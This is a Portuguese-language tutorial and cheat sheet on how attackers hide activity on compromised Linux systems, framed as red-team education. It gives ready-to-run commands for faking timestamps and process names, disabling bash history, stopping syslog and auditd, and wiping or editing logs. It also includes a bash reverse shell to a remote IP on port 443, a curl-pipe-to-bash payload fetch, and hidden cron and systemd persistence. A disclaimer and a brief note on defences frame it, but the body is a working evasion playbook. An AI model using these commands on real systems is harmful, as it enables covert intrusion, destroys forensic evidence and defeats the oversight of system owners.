Pentest Furtivo: Como Atacantes Camuflam Ações e Evitam Detecção(Linux)
No mundo da segurança ofensiva, não basta apenas comprometer um sistema: é essencial realizar isso de maneira furtiva e disfarçada, simulando a atuação de um invasor real.
Esse tipo de conhecimento é utilizado em Red Team Exercises e Pentests avançados, onde o objetivo não é apenas identificar vulnerabilidades, mas também demonstrar o impacto real de um ataque sem ser detectado facilmente.
⚠️ Aviso importante:
Este material é exclusivamente educacional e deve ser usado apenas em laboratórios controlados ou em sistemas próprios.
O uso indevido dessas técnicas pode configurar crime digital.
1. Alterando timestamps de arquivos
Arquivos recém-criados chamam atenção em análises forenses. Alterar seus metadados pode ajudar a disfarçar:
touch -r /bin/ls teste.sh # copia timestamp do binário ls
touch -t 202001011200.00 teste.sh # simula data antiga
Com isso, o arquivo passa a parecer “antigo” e menos suspeito em listagens.
2. Disfarçando processos no sistema
Listagens com ps ou top podem expor processos maliciosos. Para camuflar:
exec -a "[kworker/0:1H]" ./script.sh
Agora o processo simula um kernel worker. Outra técnica é alterar o nome diretamente em /proc:
echo "httpd" > /proc/$$/comm
Isso faz o processo parecer um servidor legítimo.
3. Evitando registros no histórico do Bash
O ~/.bash_history é uma das primeiras fontes analisadas em investigações. Para desativar:
HISTFILE=/dev/null
unset HISTFILE
set +o history
Ou, ao encerrar a sessão:
history -c && history -w
4. Manipulando logs temporariamente
Interromper a geração de logs pode ser útil, mas aumenta o risco de detecção.
service rsyslog stop # interrompe syslog
auditctl -e 0 # desativa auditoria Linux
⚠️ Em ambientes reais, a ausência de registros costuma levantar alertas.
5. Uso de aliases para camuflagem
Aliases podem modificar comandos usados por administradores:
alias ls='ls --color=auto --hide=payload.sh'
Ou criar comandos de limpeza rápida:
alias vanish='rm -rf ~/.bash_history /var/log/*'
6. Arquivos ocultos e falsos
Arquivos iniciados com . não aparecem em listagens normais:
mv payload.sh .payload.sh
Outra prática é renomeá-los como serviços legítimos:
mv script.sh systemd-update.sh
7. Disfarçando tráfego de rede
Canais de comunicação precisam parecer legítimos. Em vez de usar portas suspeitas, utilize portas comuns:
bash -i >& /dev/tcp/192.168.0.10/443 0>&1
Esse tráfego se mistura ao HTTPS. Também é possível encapsular payloads em protocolos como DNS ou ICMP.
8. Limpando logs após atividades
Para apagar evidências específicas:
sed -i '/usuario/d' /var/log/auth.log
Ou sobrescrever arquivos inteiros:
> /var/log/auth.log
⚠️ Atenção: logs “limpos demais” são tão suspeitos quanto logs cheios.
9. Persistência oculta
Criar mecanismos de permanência é comum em ataques reais. Exemplos:
Via cron:
(crontab -l ; echo "*/5 * * * * /usr/local/bin/.sys-update.sh") | crontab -
Via systemd:
[Unit]
Description=System Update Service
[Service]
ExecStart=/usr/local/bin/.update.sh
[Install]
WantedBy=multi-user.target
10. Execução sem gravação no disco
Nem sempre é necessário salvar arquivos no sistema.
curl -s http://servidor/payload.sh | bash
Quando inevitável, use diretórios voláteis (/dev/shm, /tmp) que são limpos em reinicializações.
11. Técnicas adicionais
- Injeção em memória: ferramentas como
memfd_createpermitem executar binários direto da memória. - LD_PRELOAD: bibliotecas compartilhadas podem interceptar chamadas de sistema.
- Steganografia de tráfego: ocultar dados maliciosos em pacotes legítimos.
- Living-off-the-land: uso de binários já presentes no sistema (LOLBins) reduz a necessidade de novos arquivos.
Conclusão
A evasão é tão importante quanto a exploração.
Um atacante que compromete um sistema mas deixa rastros visíveis será facilmente detectado.
Para defensores, estudar essas técnicas é essencial: cada truque ofensivo descrito aqui possui um contraponto defensivo, como monitoramento de integridade, auditoria de processos, alertas de syslog e análise comportamental.
Em última análise, conhecer a arte de se esconder é também a chave para melhor detectar e defender.
📌 Tabela-resumo (Cheat Sheet)
| Técnica | Exemplo de comando | O que faz |
|---|---|---|
| Alterar tempo de arquivo | bash touch -r /bin/ls hack.sh | Faz arquivo parecer antigo |
| Nome falso no processo | bash exec -a \"[kworker]\" ./evil.sh | Disfarça em ps |
| Alterar nome em /proc | bash echo \"httpd\" > /proc/\$\$/comm | Faz parecer webserver |
| Desativar histórico Bash | bash HISTFILE=/dev/null | Nada é gravado |
| Limpar histórico | bash history -c && history -w | Apaga sessão |
| Parar logs | bash service rsyslog stop | Interrompe syslog |
| Desativar auditoria | bash auditctl -e 0 | Pausa registros |
| Alias para camuflagem | bash alias ls='ls --hide=arquivo.sh' | Esconde arquivos |
| Alias para apagar rastros | bash alias vanish='rm -rf ~/.bash_history /var/log/[...]' | Remove históricos e logs |
| Arquivo oculto | bash mv script.sh .script.sh | Invisível sem ls -a |
| Disfarce como serviço | bash mv script.sh systemd-update.sh | Parece legítimo |
| Reverse shell em porta 443 | bash -i >& /dev/tcp/ip/443 0>&1 | Se mistura ao HTTPS |
| Apagar registros | bash sed -i '/user/d' /var/log/auth.log | Remove entradas |
| Backdoor via cron | bash (crontab -l; echo \"*/5 * * * * /usr/local/bin/.sys.sh\") | crontab - | Persistência oculta |
| Backdoor via systemd | bash ExecStart=/usr/local/bin/.update.sh | Serviço camuflado |
| Execução sem salvar arquivo | bash curl http://exemplo/payload.sh | bash | Nada fica gravado |
🔐 Use este conhecimento apenas para fortalecer a segurança dos seus próprios sistemas!
Pentest Furtivo: Como Atacantes Camuflam Ações e Evitam Detecção